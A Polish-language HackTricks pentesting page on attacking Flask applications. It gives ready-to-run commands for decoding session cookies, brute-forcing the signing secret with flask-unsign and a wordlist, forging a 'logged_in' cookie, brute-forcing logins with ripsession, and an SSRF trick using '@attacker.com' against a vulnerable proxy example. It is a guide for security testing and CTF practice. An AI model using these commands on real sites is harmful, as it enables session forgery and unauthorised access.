5.7 KiB
Flask
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}
Prawdopodobnie, jeśli grasz w CTF, aplikacja Flask będzie związana z SSTI.
Cookies
Domyślna nazwa sesji cookie to session
.
Decoder
Online dekoder cookie Flask: https://www.kirsle.net/wizards/flask-session.cgi
Manual
Weź pierwszą część cookie do pierwszej kropki i zdekoduj ją w Base64.
echo "ImhlbGxvIg" | base64 -d
Ciasteczko jest również podpisane za pomocą hasła
Flask-Unsign
Narzędzie wiersza poleceń do pobierania, dekodowania, łamania i tworzenia ciasteczek sesyjnych aplikacji Flask poprzez zgadywanie kluczy tajnych.
{% embed url="https://pypi.org/project/flask-unsign/" %}
pip3 install flask-unsign
Dekodowanie ciasteczka
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Podpisywanie
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Podpisywanie za pomocą starszych wersji
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Narzędzie wiersza poleceń do brutalnego łamania stron internetowych za pomocą ciasteczek stworzonych przy użyciu flask-unsign.
{% embed url="https://github.com/Tagvi/ripsession" %}
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi w ciasteczku sesyjnym Flask z SQLmap
Ten przykład używa opcji sqlmap eval
, aby automatycznie podpisywać ładunki sqlmap dla Flask, używając znanego sekretu.
Proxy Flask do SSRF
W tym opisie wyjaśniono, jak Flask pozwala na żądanie zaczynające się od znaku "@":
GET @/ HTTP/1.1
Host: target.com
Connection: close
Który z następujących scenariuszy:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Może pozwolić na wprowadzenie czegoś takiego jak "@attacker.com", aby spowodować SSRF.
Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Uzyskaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.